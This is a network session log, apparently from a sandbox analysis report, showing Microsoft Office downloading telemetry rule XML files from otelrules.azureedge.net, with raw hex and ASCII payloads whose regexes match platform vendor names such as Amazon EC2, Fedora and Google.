2024-11-12 01:14:09 UTC	471	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 01:14:08 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7D702D0" x-ms-request-id: 87bd4a9e-701e-0021-04a0-343d45000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T011408Z-15869dbbcc6lxrkghC1DFWqpdc00000007b0000000005nd9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-11-12 01:14:09 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120644" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.4	49817	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 01:14:09 UTC	192	OUT	GET /rules/rule120645v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 01:14:09 UTC	471	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 01:14:09 GMT Content-Type: text/xml Content-Length: 425 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BBA25094F" x-ms-request-id: 216c61d6-701e-001e-69a0-34f5e6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T011409Z-17df447cdb5vp9l9hC1DFW5hw800000006yg000000004687 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-11-12 01:14:09 UTC	425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 4d 6d 5d 5b 41 61 5d 5b 5a 7a 5d 5b 4f 6f 5d 5b 4e 6e 5d 20 5b 45 65 5d 5b 43 63 5d 32 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120645" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <SR T="2" R="([Aa][Mm][Aa][Zz][Oo][Nn] [Ee][Cc]2)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I=

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.4	49818	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 01:14:09 UTC	192	OUT	GET /rules/rule120646v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 01:14:09 UTC	471	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 01:14:09 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2BE84FD" x-ms-request-id: 03686f8b-301e-0099-32a0-346683000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T011409Z-17df447cdb5km9skhC1DFWy2rc0000000bn000000000h3ca x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-11-12 01:14:09 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120646" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.2.4	49819	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 01:14:09 UTC	192	OUT	GET /rules/rule120647v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 01:14:10 UTC	471	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 01:14:09 GMT Content-Type: text/xml Content-Length: 448 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB389F49B" x-ms-request-id: 6d0655d2-d01e-005a-66a0-347fd9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T011409Z-17df447cdb57g7m7hC1DFW791s0000000bag000000006sx9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-11-12 01:14:10 UTC	448	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 50 70 5d 5b 41 61 5d 5b 43 63 5d 5b 48 68 5d 5b 45 65 5d 20 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120647" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <SR T="2" R="([Aa][Pp][Aa][Cc][Hh][Ee] [Ss][Oo][Ff][Tt][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR>

Session ID	Source IP	Source Port	Destination IP	Destination Port
56	192.168.2.4	49820	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 01:14:09 UTC	192	OUT	GET /rules/rule120648v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 01:14:09 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 01:14:09 GMT Content-Type: text/xml Content-Length: 491 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B98B88612" x-ms-request-id: ac6bbd40-501e-007b-3e0c-2d5ba2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T011409Z-16547b76f7f7scqbhC1DFW0m5w0000000etg000000009drs x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-12 01:14:09 UTC	491	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120648" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.2.4	49821	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 01:14:09 UTC	192	OUT	GET /rules/rule120649v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 01:14:09 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 01:14:09 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:21 GMT ETag: "0x8DC582BAEA4B445" x-ms-request-id: 1e70bdcb-401e-0029-2301-2d9b43000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T011409Z-16547b76f7fj897nhC1DFWdwq40000000eug000000006cds x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 01:14:09 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 46 66 5d 5b 45 65 5d 5b 44 64 5d 5b 4f 6f 5d 5b 52 72 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120649" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <SR T="2" R="^([Ff][Ee][Dd][Oo][Rr][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.4	49822	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 01:14:10 UTC	192	OUT	GET /rules/rule120650v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 01:14:10 UTC	471	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 01:14:10 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989EE75B" x-ms-request-id: a8f543db-f01e-003f-08a0-34d19d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T011410Z-17df447cdb56mx55hC1DFWvbt4000000085000000000ahtc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-11-12 01:14:10 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120650" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.2.4	49824	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 01:14:10 UTC	192	OUT	GET /rules/rule120651v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 01:14:10 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 01:14:10 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 81840efa-e01e-0085-3c5a-32c311000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T011410Z-16547b76f7flf9g6hC1DFWmcx800000005g0000000008mvg x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 01:14:10 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 47 67 5d 5b 4c 6c 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120651" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <SR T="2" R="([Gg][Oo][Oo][Gg][Ll][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.2.4	49825	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 01:14:10 UTC	192	OUT	GET /rules/rule120652v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 01:14:10 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 01:14:10 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97E6FCDD" x-ms-request-id: a4ba0423-501e-0029-6446-2cd0b8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T011410Z-16547b76f7fwvr5dhC1DFW2c940000000esg00000000pg0c x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 01:14:10 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120652" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.4	49826	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 01:14:10 UTC	192	OUT	GET /rules/rule120653v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 01:14:10 UTC	471	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 01:14:10 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C710B28" x-ms-request-id: 53e82ad4-c01e-0046-11a0-342db9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T011410Z-15869dbbcc6tfpj2hC1DFW384c00000008vg0000000015v9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-11-12 01:14:10 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 49 69 5d 5b 4e 6e 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 54 74 5d 5b 45 65 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120653" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <SR T="2" R="([Ii][Nn][Nn][Oo][Tt][Ee][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.2.4	49827	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 01:14:10 UTC	192	OUT	GET /rules/rule120654v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 01:14:10 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 01:14:10 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:05 GMT ETag: "0x8DC582BA54DCC28" x-ms-request-id: 4a1cb9ec-a01e-0021-5a00-2d814c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T011410Z-16547b76f7f22sh5hC1DFWyb4w0000000erg00000000r0nx x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 01:14:10 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120654" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.2.4	49828	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 01:14:11 UTC	192	OUT	GET /rules/rule120655v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 01:14:11 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 01:14:11 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7F164C3" x-ms-request-id: cd5b73c9-701e-0098-1e09-2d395f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T011411Z-16547b76f7f67wxlhC1DFWah9w0000000ex000000000c8ua x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-12 01:14:11 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 49 69 5d 5b 4d 6d 5d 5b 42 62 5d 5b 4f 6f 5d 5b 58 78 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120655" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <SR T="2" R="([Nn][Ii][Mm][Bb][Oo][Xx][Xx])"> <S T="1" F="1" 